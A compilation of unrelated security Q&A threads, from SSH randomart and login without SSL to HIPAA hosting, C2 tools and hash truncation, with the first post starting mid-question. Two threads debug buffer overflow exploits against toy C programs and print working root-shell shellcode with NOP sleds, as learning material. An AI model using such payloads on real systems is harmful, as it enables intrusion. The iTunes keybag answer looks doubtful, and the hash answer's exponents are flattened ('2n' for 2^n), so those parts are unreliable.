Host key fingerprint is a8:87:04:f8:94:ab:d4:3b:39:4c:68:a9:b1:1e:c7:02
+--[ RSA 2048]----+
|                 |
| . .             |
|. +              |
| o+o   .         |
|E=oo. . S        |
|=++.oo           |
|+o Oo .          |
|. + o.           |
| .               |
+-----------------+

The host key fingerprints appear to be different formats, which is fine. However what I'm worried about is that the VisualHostKey is different. Is this to be expected?

The problem is in the thing, that the randomart is based on the fingerprint and not on the key itself. This implies that the hashes are different and therefore the ASCII arts too. For example my output when using the same client version and same key:

Host key fingerprint is SHA256:v0I6xgzhRSheT19KVcglIbLven9u/xAaVC/GlpjODpo
+---[ECDSA 256]---+
|     .. .o+=o .  |
|  . o oo..+. = o |
| . o +.o o  + * .|
|  . . o.o  + o . |
|   . o  S . + .  |
|    o  ..+ o o . |
|     + oE . o .  |
|      *.o  .o  . |
|     ..o oo+.....|
+----[SHA256]-----+
Host key fingerprint is MD5:22:0c:a2:6b:87:80:26:ee:0f:5c:62:1d:5c:e1:cd:48
+---[ECDSA 256]---+
|     E.          |
|  . + +          |
|. .o o o         |
|o..o.            |
|=+ oo . S        |
|B.+  . .         |
|.* .             |
|o o              |
| ...             |
+------[MD5]------+

The root of the change is that md5 is obsolete and new verison uses sha256 by default. But still you can force the client to use the md5 version, which should result in the same randomart:

ssh -oFingerprintHash=md5 you_host

or with the option in ssh_config:

FingerprintHash md5


What is the best way of securing a website logon without SSL or preshared keys? Today I sniffed some unencrypted wlan traffic during class and I found quite a few passwords by a simple search for "pass" and "user" in wireshark. Turns out about half the sites we use for school don't encrypt their data in any way - they use GET-requests like ?username=user123&password=passwd123 on login. I started to think about this and now I wonder; what is the best way to avoid this? Encrypting would be easy to reverse, and one time keys could "easily" be captured as well. My best thought so far is to client side hash, but would this be a bad idea in some way?

UPDATE:
I've obviously not told you the constraints here, but thanks for all the answers! The server does not have SSL and everything I use must be implemented in php/asp/asp.net server side or javascript on the client. The only preshared key there is is the password. Everything else will be known to the attacker.

I'm only trying to hide the password from the hacker. The rest of the information would be unencrypted, so a session steal would be possible. That will be the next problem. Maybe you could encrypt the information on the page with the nounce. Since there will be a lot of encrypted text a dictionary attack would be effective. This is why I don't want to use the user's password for encryption. Maybe I could use something like a 512/1024bit XOR key that I encrypt with the user's password? Or some part of the password, since a dictionary attack would still be possible - but harder.

Would a nounce encrypted with the clients say 2 first chars of his/her password be a good idea? A random number XOR'd with the passwords 2 first chars. This should be decryptable by the user, since he/she has the key (which would be taken from the entered password string through js). The nounce would be a random number, so nothing should be able to tell if it's been correctly decrypted.

Basically:
 1. User types in username and posts/gets it to the server.
 2. Server responds with a page with an encrypted nounce and a password box.
 3. Javascript decrypts nounce, and password gets XOR'd with it.
 4. Password is sent to the server, password gets decrypted and then hashed
 5. Hash is compared to a stored one in the database.

Note: The server is free and it supports SSL, but I don't want to use it. I don't like SSL because it's broken.

You want the target server to be able to access the user name and password, and not the sniffer-powered attacker. So the target server must be able to do something that the attacker cannot. Since the attacker can buy the same kind of PC than the server, that extra power must be something that the server knows, but not the attacker.

Hey, there is such data: the password ! That's the point, isn't it ? It really is a pre-shared key between client and server.

Passwords are pretty lousy, as far as key go, because of the limitations of human brains. Still, one can work with that. The best protocols for that are Password Authenticated Key Exchange: they can escalate a shared low-entropy key (the password) into a shared high-entropy key, with which you can do all the yummy stuff of symmetric cryptography, which will keep (wire)sharks at bay. And PAKE protocols can do that while resisting offline dictionary attacks ("offline" is the important word here).

The bad news is that PAKE protocols, and, more generally, any authentication protocol which can be linked afterwards with exchanged data so that the authentication really resists active attacker, are difficult to get right. The simplest but still secure protocol turns out to be SSL with SRP (there is an RFC for that). The good news is that SSL+SRP provides password-based mutual authentication between client and server using no certificate whatsoever (and when people say that they do not want to use SSL, what they usually mean is that they do not want to dabble in X.509 certificates and the friggin' PKI market).

Unfortunately, SSL+SRP support is not widespread (GnuTLS is an opensource library which knows SRP).


Capturing iTunes traffic with Wireshark - SSL decryption question I'm fooling around with Wireshark to capture the activation packets for an iPhone and some other stuff, however the traffic is encrypted. There should be a private SSL key somewhere on my computer to decrypt this traffic, but I've spent hours trying to find it with no luck. I'm on OSX Mavericks, latest iTunes build. I'd be very grateful if someone could help out.

Cracking that tunnel is a non-trivial exercise. The short answer is that key store is located in the file /private/var/keybags/systembag.kb and retrieved with the kernel service called AppleEffaceableStorage under the locker tag \BAG1. This is the architecture:

The keys themselves are further encrypted and checksummed using AES and HMAC. It would be a big project for you to decrypt the stream. You would be much better off finding the memory buffer where the kernel process is storing the decrypted stream and just monitoring the buffer. I think the critical process is called keybagd (keybag daemon). There is also a kernel extension called AppleKeyStore which has a subcomponent called MobileKeyBag. One or all of those processes will own a buffer containing the clear text traffic.


So I just got a voicemail from a random person, where it says 3 random numbers (for example 354) and then "goodbye" So basically, i was just playing games as always, and I get a voicemail. It reads-"396 (random numbers just incase the numbers are sensitive information), goodbye" It sounds automated but i'm not sure, should I be concerned and do something or just ignore it? FYI, somebody kept trying to break into my account before this and this happened when i enabled 2 step verification without a call. If somebody can please explain how to defend myself in this situation please do so. Thank you!

This is a cut message.
Your voicemail picked the phone: "Kevin Phelan is not able to talk with you, you may leave a voicemail if you wish..."
At the same time, the calling bot started telling its offer "Hello dear customer, we will sell you the most delicious pickles you have tasted, please call us back at the 123456"(The voicemail intro ends and starts recording) "279. Goodbye"
Of course, we have no idea if they wanted to sell you food, furniture, encourage you to vote, or if it was a call providing a 2FA code.
The fact that there is a goodbye hints that there was some more text at the beginning, that would probably identify what their numbers were for.
Note that even if it was for 2FA, there's no harm by not having picked it. On your next legit login you would get called again, you don't need a 2FA code provided in a missed phone call.


Does YubiKey with LastPass influence encryption? I am using LastPass together with a YubiKey Neo. If someone got ahold of my master password (e.g. keylogger), and a copy of my encrypted password vault, would they be able to decrypt it? Or does the YubiKey setup add another layer to that encryption?

With LastPass, YubiKey is only used for authentication purposes to be able to download your vault and/or login to your LastPass account on their servers.  YubiKey is not however used for encryption purposes, so the use of 2FA with LastPass (or YubiKey) does not influence the encryption of the vault.  It just makes it harder to potentially compromise your account by logging in as you, so 2FA should be enabled as a best practice.

The LastPass database itself is encrypted locally using AES-256 with your master password as a factor to generate a PBKDF2-SHA256 hashed key.  That key, stored locally (not your master password) with symmetric AES-256 encryption is your master password. But, essentially,  your master password is this key and could be used to decrypt files locally -- so if someone copies your local lastpass vault and has the master password, regardless of YubiKey, it could be compromised.

References:

https://lastpass.com/support.php?cmd=showfaq&id=6926
https://lastpass.com/whylastpass_technology.php


Accidentally downloaded a Trojan.Dropper which Malwarebytes picked up, how to ensure system is clean? So I was trying to download an arcade game, everything seemed legit and I guess I was too excited to play it I started running it - only after clicking it I decided to run a scan on both Avira and Malwarebytes. As it was running Malwarebytes picked up a Trojan.Dropper, the game itself works but I deleted it promptly after quarantining the malicious file.

Now reading about droppers says they tend to alter your registry keys and create hidden files. In fact, Avira sent a prompt saying something just tried to edit my registry. I have no idea how to look for those to ensure my system is clean. How should I go about that? I've done a full system scan on both the software.

I've used a registry scanner and scanned for changes in the registry within 1 min before/after the item was quarantined which came up to about 101 entries, would it be best to put that into a pastebin to see if anything could have been malicious?

Thanks

A third option (which imho is a bit better than just using the regular scan but obviously not as safe as a complete reinstall) would be to use a (or even better multiple) rescue disc that many of the antivirus companies offer (like  this <- haven't tried that particular one, just the first one google threw at me).

These allow to scan the system when it is not running which makes it a bit harder for the malware to hide.
If you happen to be from germany you could also give  desinfec't a shot. It's not free but it's a rescue disc that uses multiple engines to scan you pc (amongst other things) and quite a handy tool.


Is this a safe way to open a PDF file? I have recieved an email with a pdf file whose content I want, but I'm not exactly sure what the source of it is. In gmail, I have two options: "Download" and "Save to Drive". I'm assuming it means Google Drive. Is it safe to save the pdf file to drive and then look at it that way?

If so, once it's in drive, is it possible to somehow scan it for malware and then safely download it onto my computer?

Thank you.

Antivirus nowadays give the option to autoscan possible infected attachments in emails however I have never use one and not sure if the web interface works with such kind of scanning.
Using thunderbird for example or analog desktop app for windows would allow you to have the antivirus to scan it.

I would personally not do this however... instead, download the pdf manually, abstain yourself from opening it, upload it to virustotal.com wait for the report to show up (a minute max), afterwards upload the pdf to one of the many online providers which allow you to read pdf files online.

This way, you will be more secure than using the pdf into your adobe acrobat reader of similar app.

For more security use sandboxing when opening the pdf (for example Comodo Antivirus offers free sandboxing with their firewall), this way any attempt at infecting your machine will be twarted (and you can use this sandboxing in your browser so the real browser will mostly be left intact even when entering into websites embedded with malware)

Edited: And finally the last and better solution to this common problem! Download oracle box, download a linux image of debian, ubuntu or any other easy to use linux distribution, open the iso into oracle box and read the pdf through it. This way your real machine will never ever get infected (I recommend the usage of virtual machines as a daily way to browse the internet but that is me personally).

Having said so, gmail itself does have security and normally infected attachments would be picked by gmail itself unless they are access zero, encripted good by malware creator etc. However, pdfs are one of the most used ways to infect machines. Unless you know the sender of the pdf it would be safer to maintain a skeptic attitude and use precautions when watching it.


Can M.2 docking stations be used to make forensic images of (Bitlocker encrypted) M.2 disks? I am looking into M.2 docking stations such as the Maiwo K3016S as shown below.

Is it possible to use such docking stations optionally in combination with a USB- or software write-blocker, in order to make forensic images of (Bitlocker encrypted) M.2 disks? I assume that when Bitlocker software encryption is used it should be possible but when Bitlocker is managing SED hardware-encryption (with TPM) it might not be possible. Is this assumption correct and what are alternative methods to image (Bitlocker) (encrypted) M.2 disks, preferably without expensive hardware imagers?
Lastly, can an (encrypted) M.2 disk be safely removed from, externally imaged and reinstalled to the host while retaining its exact original function?

The "docking station" you're describing seems to primarily be a cloner, a tool that duplicates the data on one device to another. It shouldn't write anything to the "Source" disk by itself, though for forensic purposes you might want one that explicitly and legally-enforcibly guarantees not to write to the source.
Conventionally, BitLocker just replaces the volume metadata (where file system info is usually stored) with its own metadata (about key protectors and such, plus where the actual file system metadata was moved to). You can think of this as being like "formatting" the disk with BitLocker. Cloning that is easy; the cloner doesn't know anything about the data it is copying and it's not like it understands actual file systems either.
Self-Encrypting Drives configured to require an Authorization Key are another story. It doesn't matter whether the drive uses BitLocker or some other way to control the SED. Nor does it matter whether it's M.2 NVMe, other PCIe, conventional 2.5" SATA, or any other interface. The drive firmware will refuse to allow I/O until the correct AK is provided, and the cloner probably can't do that (unless there's some way for a PC to supply it).

You seems to be ascribing various properties to M.2 disks, but that's not really warranted. First of all, M.2 is a family of physical interfaces; the actual data on the pins might be either SATA or PCIe (specifically, NVMe, which is a standard for PCIe flash storage interfacing). While the exact commands to do things (read, write, delete, etc.) are different between the various communication protocols, they all conceptually do the same thing. It is possible, but not necessary (or, AFAIK, common), for any disk to do things like maintain a log of every time it powers on, or how many bytes are read or written or whatever. None of that has to do with using an M.2 form factor vs. any other. In general, anything you know about 2.5" SATA disks will almost certainly be true for M.2 SATA disks, and probably true for NVMe ones too.


Does the TLS 1.0 support on CloudFront create a vulnerability when only TLS 1.2 is enabled on the Origin side? We currently host our website on AWS with CloudFront.

CloudFront currently does not support disabling TLS 1.0 or 1.1 on the Viewer side. It only provides support for limiting access to TLS 1.2 on the Origin side.

I have also limited access to only TLS 1.2 on the ELB configured with the CloudFront distribution.

Viewer -> (HTTPS/TLS1.0/1.1/1.2) -> Cloudfront -> (HTTPS/TLS1.2) -> Origin

I'm trying to verify if this mitigates the TLS 1.0 security vulnerabilities or if we would still be exposed.

Also, I've been using the following to confirm settings.

curl -k --tlsv1.0 https://OUR-DOMAIN.com # error
curl -k --tlsv1.0 https://ELB-ID.ap-northeast-1.elb.amazonaws.com # error

curl -k --tlsv1.2 https://OUR-DOMAIN.com # success
curl -k --tlsv1.2 https://ELB-ID.ap-northeast-1.elb.amazonaws.com # success

Are we still exposed to the TLS 1.0 security vulnerabilities?

How can this be tested and validated?

I've disabled TLS 1.0 and 1.1 on our API and the Origin side of CloudFront.

I spoke with AWS support and it seems that there is no way to disable TLS 1.0 and 1.1 on the Viewer to CloudFront side. Support notified me that there is an open feature request but no timeline for its implementation.

This means that a Viewer will be able to establish a TLS 1.0/1.1 connection with CloudFront and then CloudFront will establish the 1.2 connection to our ELB and web servers.

The API connections from the Viewer requires TLS 1.2. We will need to add a check in the UI to notify the user if an API connection cannot be established.

While not as clean of a solution as I had hoped for it seems to have mitigated our immediate risk.


Privacy and File Uploading Can websites see your computer's directory structure when you upload files through web forms (especially JavaScript)?

If so, what are ways to avoid this when uploading?

Through Javascript File API, which should be used as a standard for any web file interaction the only things about file that are known to the javascript and the server are:

bytes of the file (for readability)
name of the file
size of the file
type of the file (.txt etc.)

direct answer to your question is in this SO question when somebody wanted to do exactly that (try the jfiddle examples to test that not one will show full path when you select a file): How to get full path of selected file on change of input file using javascript

There are some APIs that allowed you to do this (ActiveX) but they are mostly getting phased out.


Application used in health industry: HIPAA HITECH hosting "requirements" We have a scenario at my employer where we host an application that is used for uploading, storing, & managing documents related to patients' bills from healthcare providers.  It is our knowledge so far that these documents contain PHI, and there are many policies developed in our Security Program to mitigate the risks of our current hosting solution.

From a pure application architecture standpoint the application is quickly expanding its used disk space, and we are trying to decide if we can leverage Cloud storage in any way.  Obviously, introducing another hosting provider must be accompanied with our verification of risk mitigation on their behalf, such as in the form of a Business Associates Agreement (BAA)...

at least that is the traditional way that the "chain of custody" is maintained from any number of hosting providers.

First I'll ask: am I off base with that statement ^^?

Then I'll ask the question: is a BAA required (by law?) to host PHI such that a chain of custody exists?  If not, is a BAA still applicable or even plausible for anyone looking to use Cloud provider services?

Thank you for help!
Cheers!
SAM

You are not off base on your assessment. Putting PHI in the cloud means that that provider is now responsible for compliance. They now play an important part in the chain of custody of the PHI.

BAAs are required in as much as if you use a cloud provider and don't have an air-tight BAA, you're on the hook for the risk. Think of the chain this way:

Hospital (Covered Entity) <-> You serving the hospital (BA) <-> AWS

You likely have a BAA with the hospital where you took on all the technical risk of handling the hospital's PHI. But AWS is a critical part in the chain that is handling the PHI. If you don't have a BAA with AWS, you are not handing off the compliance risk to the party who is actually responsible. For example, if for some ungodly reason a major data center was broken into and hard drives are stolen, YOU are on the hook if you don't have a BAA.

However, note that all public clouds only cover a very small fraction of compliance in totality. The translation is "chain of custody" to "Shared Responsibility Model". Here is AWS's: https://aws.amazon.com/compliance/shared-responsibility-model/

So, for example with AWS, they only cover about 1/10th (physical safegaurds, firewall). Their BAA doesn't take on other controls like encryption or logging or disaster recovery.

If you want use the cloud, you should investigate a company like Datica, which I work for. Companies like that who sit on top of public clouds will maintain and take on the risk of the other 9/10ths so to speak. This resource you might find valuable to explain the concept.


Understanding cryptography practically So I am interested in computer security, cryptography and security protocols. Thing is, everything I read is about theoretical usage of protocols, but how do those things work in real world?

Is there a book or paper that I can read and understand how everything works practically. Like how everything is implemented programically, not just on paper? I am not talking about implementation of cipher itself programically, but how everything works together? Let's say I login to internet banking and lot's of stuff happen automatically regarding encryption, sessions, etc., but how can I see real world example of what is happening there?

The book you are after is:

Cryptography and Network Security: Principles and Practice

This book contains all the information you need to understand the use of cryptography in practical protocol applications.


Buffer overflow exploit with python3 : wrong return address written I'm trying to exploit a simple buffer overflow with gdb and peda, I just want to rewrite the return address with the address of a function of the program. I can easily do it with python2 but it seems to be impossible with python3, the return address is not rewritten with a correct address.

According to the research that I have already done, the encoding is the cause of this problem because python2 is using ascii and python3 is using utf-8.
I found some stuff on this website which didn't help me :/

Here is the code of the vulnerable app:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <string.h>

void checkPassword();
void goodPassword();

int main(int argc, char **argv)
{
    printf("Debut du programme...\n");

    if (argc < 2)
    {
        printf("Necessite un argument\n");
        return 0;
    }

    printf("Appel de la fonction checkPassword\n");
    checkPassword(argv[1]);

    printf("Fin du programme\n");

}

void checkPassword(const char *arg)
{
    char password[64];

    strcpy(password, arg);

    if (strcmp(password, "fromage") == 0)
    {
        goodPassword();
    }
    else
    {
        printf("Mauvais mot de passe\n");
    }
}

void goodPassword() // This is the function I want to run, address : 0x565562b2
{
    printf("Mot de passe correcte!\n");

}

Here is the exploit I use in python2

starti $(python2 -c 'print "A"*76 + "\xb2\x62\x55\x56".strip() ')

Here is the exploit I use in python3 and the stack atfer the strcpy:

starti $(python3 -c 'print(b"A"*76 + b"\xb2\x62\x55\x56".strip() ')

gdb-peda$ x/24xw $esp
0xffffcc40:     0xffffcc50      0xffffcfa6      0xf7e2bca9      0x56556261
0xffffcc50:     0x41412762      0x41414141      0x41414141      0x41414141
0xffffcc60:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffcc70:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffcc80:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffcc90:     0x41414141      0x41414141      0x41414141      0x785c4141

I expect this output:

gdb-peda$ x/24xw $esp
0xffffcc50:     0xffffcc60      0xffffcfac      0xf7e2bca9      0x56556261
0xffffcc60:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffcc70:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffcc80:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffcc90:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffcca0:     0x41414141      0x41414141      0x41414141      0x565562b2

which works fine and run the goodPassword function.
Thanks for help

What is starti?  Is this a wrapper script around gdb/peda?  By what means is the string being generated by python3 being passed to the vulnerable application?  Is the shell involved in the middle?

We expect:

python -c 'print("\x48\x49\x90\x84\xe3\xe9")' |xxd
0000000: 4849 9084 e3e9 0a                        HI.....

But instead python3 gives us:

python3 -c 'print(str(b"\x48\x49\x90\x84\xe3\xe9","latin-1"))' |xxd
0000000: 4849 c290 c284 c3a3 c3a9 0a              HI.........

...which is functionally equivalent to:

python3 -c 'import codecs; print(codecs.decode(b"\x48\x49\x90\x84\xe3\xe9","latin-1"))' |xxd
0000000: 4849 c290 c284 c3a3 c3a9 0a              HI.........

...and additionally

python3 -c 'import codecs; print("".join(chr(x) for x in bytearray("\x48\x49\x90\x84\xe3\xe9".encode("latin-1"))))' |xxd
0000000: 4849 c290 c284 c3a3 c3a9 0a              HI.........

... according to the set of answers provided in the discussion on this link.

While python3 requires a character encoding to be passed in order for it to know how the non-ascii-character range is to be handled, the print() function passes the output off to the shell, which is still left to interpret using UTF-8.  An informative explanation of this behavior is provided in this answer.  In summary, much of this seeming behavioral regression can be tracked to the single decision to move from print "something" to print("something") (builtin print function), removing print from the compiler discussed here.  Albeit this is a result of python3 changing the default behavior of strings to bytes, more information here.

However, I'd like to point out that if you can somehow pass your exploit buffer to your vulnerable application without having to involve the shell in between both python and your victim app, you will get the bytes you desire from all three above python3 examples.

A good verification of this is to write to an outfile, and perform a hexdump on the output file.  The same would theoretically be true for passing the exploit buffer through a socket connection (?)

#!/usr/bin/env python3
import os, sys

sploit = "\x48\x49\x90\x84\xe3\xe9"

with open("evil.txt","wb") as F:
    F.write(sploit.encode('latin-1'))
    F.close()

...and proof:

hexdump -C evil.txt
00000000  48 49 90 84 e3 e9                                 |HI....|
00000006

Python2 is of course much easier to write exploits with than python3 for all of these reasons.  And of course, if ever there is a problem with running (or even installing/making available) python2 in the future, we still have a number of other mainstay languages, such as perl:

perl -e 'print "A"x4 . "\x48\x49\x90\x84\xe3\xe9";' |xxd
0000000: 4141 4141 4849 9084 e3e9                 AAAAHI....


Shellcode doesn't execute and EIP is overwritten I've written a vulnerable program (below) and some shellcode (also below) to use in a buffer overflow exploit. I've had the same problems as in this link, and solved those using the answers there (-z execstack, -fno-stack-protector). I'm now having a problem alluded to in a comment.

I overwrite the return address such that it points to the middle of a NOP-sled (to "\x38\xcf\xff\xff", little-endian, found using x/500x $esp-500 in gdb). The program (command at very bottom) then gives a segmentation fault:

0xffffa0e8 in ?? ()

(gdb) info register
eax            0xfffffffc   -4
ecx            0xffffd070   -12176
edx            0x0  0
ebx            0xffffd074   -12172
esp            0xffffd06c   0xffffd06c
ebp            0x2368732f   0x2368732f
esi            0x0  0
edi            0x0  0
eip            0xffffa0e8   0xffffa0e8
eflags         0x10246  [ PF ZF IF RF ]
cs             0x23 35
ss             0x2b 43
ds             0x2b 43
es             0x2b 43
fs             0x0  0
gs             0x63 99
(gdb)

The rightmost byte of the return address is not what it should be (eip should read 0xffffcf38). If I change the return address to nonsense, say, "0xffffdddd", I get:

Program received signal SIGSEGV, Segmentation fault.
0xffffddfd in ?? ()

almost as expected - a "d" has changed to an "f"!
A return address of "0x42424242" works as expected: segfault, 0x42424242 in ?? ()

So: the expected behaviour is to start /bin/bash. The actual behaviour is to give a segmentation fault, giving as a return address something other than the address I'm trying to overwrite the EIP with. The question is: why does this happen, and how can I stop it?

The vulnerable program:

#include <stdio.h>
#include <string.h>

int main(int argc, char** argv) {
    char buffer[500];
    strcpy(buffer, argv[1]);

    return 0;
}

Compiled with:

gcc -g -m32 -fno-stack-protector -z execstack -o ./vuln ./vuln.c

The shellcode (from or largely from here) in assembly:

BITS 32

; setreuid(0, 0)
xor eax, eax
mov al, 70
xor ebx, ebx
xor ecx, ecx
int 0x80

jmp short two

one:
pop ebx

;execve("/bin/sh", ["/bin/sh", NULL], NULL)
xor eax, eax
mov byte [ebx+7], al
push eax
push ebx
mov ecx, esp
xor edx, edx
int 0x80

two:
call one

db  "/bin/sh#"

Assembly is compiled with:

nasm -bin -o shellcode shellcode.asm

The attack is run in gdb, using the commands:

gdb vuln

and

run $(python -c 'print "\x90" * 473 + "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x0e\x5b\x31\xc0\x88\x43\x07\x50\x53\x89\xe1\x31\xd2\xcd\x80\xe8\xed\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23" + "\x38\xcf\xff\xff"')

The system is Linux Mint 17.1 64-bit, running in VirtualBox.

Disclaimer: I am super new to this and wrote this answer to improve my comprehension of buffer-overflows

I think you have 3 problems:

The shell code is missing one byte in the end to be aligned
The shell code is too close to the return pointer
You forgot the jump back to ebp before jumping to your code

My understanding is that even though eip is going to be moved to the address you specified, the stack is going to be at the end your shell code + 4 bytes -- because ret will pop then move it to eip.

Also your problem made me realize something as I was really struggling on the same thing: The stack still moves as it is executing your shell code. If esp is too close to your shell code, push and pop instructions can mess around your own shell code.

What I suggest is then:

Start filling up the buffer to 75% of Nop
Insert shell code
Pad shell code to the nearest byte
Insert the remaining Nop
Insert twice the return pointer -- once for leave and the other for ret

I've tried this with a different shell code:

$> env -i vuln $(python -c 'print "\x90" * 352 + "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x90"*101 + "\x48\xfc\xff\xbf"+"\xf0\xfa\xff\xbf"')
$ id
uid=1001(user) gid=1001(user) groups=1001(user)

Using GDB:

ebp            0xbffffc48       0xbffffc48
esp            0xbffffa30       0xbffffa30

ESP:
0xbffffa30:     0xbffffa4c      0xbffffdda      0xb7fff524      0x00000000
0xbffffa40:     0xb7fff524      0xbffffad0      0xb7fe35c9      0x90909090
0xbffffa50:     0x90909090      0x90909090      0x90909090      0x90909090

EIP:
0x80483ed <main+41>:    leave
0x80483ee <main+42>:    ret
0x80483ef:      nop

Then next instruction:

ebp            0xbffffaf0       0xbffffaf0
esp            0xbffffc4c       0xbffffc4c

ESP:
0xbffffc4c:     0xbffffaf0      0x00000000      0xbffffcf4      0xbffffd00

EIP:
0x80483ee <main+42>:    ret

We jump to the address in $esp:

ebp            0xbffffaf0       0xbffffaf0
esp            0xbffffc50       0xbffffc50

ESP:
0xbffffc50:     0x00000000      0xbffffcf4      0xbffffd00      0xb7fe1848
0xbffffc60:     0xbffffcb0      0xffffffff      0xb7ffeff4      0x08048234

EIP:
0xbffffaf0:     nop

And let the slide begin:

(gdb) c
Continuing.
Executing new program: /bin/dash
$


Using opensource C2 dangers I've been playing around with some of the C2's available at GitHub that I've found at https://www.thec2matrix.com/matrix
It's cool to play around with tons of Linux machines I own and send them commands and retrieve stats out of them with custom scripts at the ease of uploading them as a "payload" like execute this on all these machines. However, there's a few projects that I actually debug and I usually just plug and play those open source projects.
I don't know if there's a risk in this, I usually host and test all these stuff with GCP instances and so far I've had no issues nor detected malicious activity besides "mine", just that BYOB project that installs a cryptominer but it's easy to deactivate it on the source and on the README you are told about this.
So here's the question.
What are the dangers of using this kind of open source projects as my C2 for my machines?
I've even consider using this in a company as a private "Teamviewer" or an alternative for remote assistance for helpdesk and whatever.
Is it a possible breach? Does that makes my instances vulnerable?
I can only think about a "single point of failure" that would end up in a DISASTER as it would compromise everything easily lol but what other risks would this involve?

You are correct about the single point of failure, but that's not too different from having all your SSH keys on the same box which is also common.
Like any software, your C2 software can have vulnerabilities or misconfigurations that introduce vulnerabilities. Even TeamViewer has run into issues in the past.
My worry would be that the tool is not designed with security in mind. Depending on the tool, it may have just been developed for a one-off engagement and was made to be quick and dirty. Compare it to a remote administration tool such as Ansible, which simply uses SSH, which comes with many benefits such as secure and vetted authentication and encryption out of the box. While there is probably some sort of authentication in your tool, it may not be properly implemented, or may not be enforced at all. The tool should also properly use encryption, which may not always be the case.
Besides authentication, there could be other vulnerabilities that exist within the software. However, it is impossible to know without performing a security audit on the tool. Without knowing for sure, you may be fine, or you may be exposing all of your systems to remote attackers.


How much can I learn about a nearby mobile phone with RX only and no decryption? I live in a remote area with few visitors and it would be very interesting to detect a mobile phone in my vicinity that isn't my own.

It would be very easy to just use a frequency counter and look for activity on those bands, but that might be my own mobile phone and might also be chatter from a base station, etc.

So I would like to actually inspect the traffic with gnuradio.  I am aware that I can't determine a phones number (need SS7 access).  Also, I do not want to involve myself in illegal transmissions.  But there must be some amount of data that is sent outwards from a mobile phone that I can receive and decode without decrypting or cracking and with an RX only SDR.

What can I find out in this RX only manner ?  Can I differentiate between different phones ?  Can I determine what their physical address is and correlate to manufacturer (sort of like a MAC address in ethernet) ... can I see what base station they are associated with ?

I'd like to scan the local airwaves and see a list of operating mobile handsets, the same way you might do a site survey for wifi clients.  The question is simply:  How much can I see with RX only and without doing difficult (and possibly illegal) decryption ?

Thanks.

You can't get much with passive scanning. These days all the mobile phones (even low end ones) are on the digital systems (LTE, etc.) with most information being encrypted, once the initial handshake signalling is completed.

Even if you listen to the initial handshake, you won't be seeing any important phone identities being exchanged over the air in plaintext. For example, even in the days of 2G, with GSM, the IMSI would be replaced with TMSI (Temporary Mobile Subscriber Identity) for such handshake signalling, to foil RX-only passive snooping attempts.

Taking a step back, if it's a matter of differentiating between mobile phone (or cellular base station) transmission and other wireless transmissions, the frequency/wavelength of the transmission could be useful. Mobile phone systems used licensed bands (that often cost the mobile operators a lot of money), so you shouldn't be hearing traffic from other wireless systems in those bands. Googling around could probably get you more info on who is the operator in that area (there may be more than one, though), and even what frequency band(s) they have licensed for their mobile service. The cellular base stations typically would be broadcasting beacons so that mobile phones can select a suitable base station to connect to and initiate the handshake/setup, including synchronizing for the timing of the frames, etc. This is known as the access or random access procedure. More details can be found in https://www.eventhelix.com/lte/random-access-procedure/lte-random-access-procedure.pdf for instance.


How to perform security exploits/penetration on devices like iPhone's, PSP's, and Android to run your owncode? I was really interested in getting into performing exploits to install my own code on devices, instead of waiting for others. I figure its a great way for me to learn about security on devices like phones. Sadly there is nothing online about this. I hear about it, but no tutorials. Any advice on where to go to learn this?

Finding exploits which allow you to run your own code on platforms like these is very difficult. You would need to be fluent in the native language of the platform, almost certainly in addition to being fluent in assembly for whatever architecture it was running on. Failing that, you'd need a very good understanding of the hardware by reverse engineering what you had, as well as the right kit yourself to perhaps modify the code on FPGA's or flash chips to load your own stuff.

The software route typically involves getting a dump of the systems firmware and looking for buffer overflow exploits. These allow you to load your own code into memory and have an otherwise inert program execute it for you.

The hardware route usually involves extracting chips and reprogramming them or taking advantage of some kind of design 'flaw' which allows you to trick the existing software on the platform to doing something you want that it wouldn't otherwise do. A good example of this is geohot's original PS3 exploit, where he used a switch to stop the kernel's memory deallocation messages getting through, allowing him access to kernel pages he could read and write to and execute with ring 0 priveleges!


The security level in hash function What is the difference in security between using part of message digest hash function or all the message digest hash function? and is there any equation can calculate the security for part or whole message digest?

There are three main characteristics which are looked for in a hash function:

Resistance to preimages: given x, it shall be hard to find m such that h(m) = x.
Resistance to second preimages: given m and h(m), it shall be hard to find m' (distinct from m) such that h(m) = h(m').
Resistance to collisions: it shall be hard to find m and m', distinct from each other, such that h(m) = h(m').

For any hash function, regardless of its cryptographic strength, there is a generic attack which always works, and is called luck. To find a preimage (or a second preimage), just try random messages until a match is found. To find a collision, hash many random messages until two of them yield the same hash value. For a n-bit output, luck works with average effort 2n for preimages and second preimages, 2n/2 for collisions (thus is it substantially easier to find collisions than preimages).

What you actually need in a hash function depends on the protocol. For instance, digital signature algorithms (the true ones, like RSA or DSA) begin by a hash function invocation, and the hash value is then used in the algorithm proper. Digital signatures work on preimage and second preimage resistance -- unless you are in a setup where a potential attacker can choose the data of some messages to sign, in which case you need resistance to collisions as well.

As a general rule, stick to n-bit output such that 2n/2 invocations of the hash function is too big an effort. This means n = 160 or so. Using a hash function with only 128 bits of output means that one may find collisions with effort 264, which is quite expensive but technologically feasible (such an effort was done at least once but it took four years and thousands of contributors).

For some protocols it is safe to dismiss collisions (which would gain nothing to the attacker) and thus reduce the output to 80 bits (or so). And example is when the hash function is used as part of HMAC for integrity checks, but only as long as the underlying hash function is robust. Indeed, HMAC relies on some internal properties of the hash function which are not directly linked with resistance to preimages or collisions. If the hash function is SHA-256, things are fine; HMAC/SHA-256 truncated to 96 bits (you truncate the output of HMAC, not the internal hash function) will offer security up to 296, which is more than enough. If you hash function is MD5 or SHA-1, then... things are less clear.

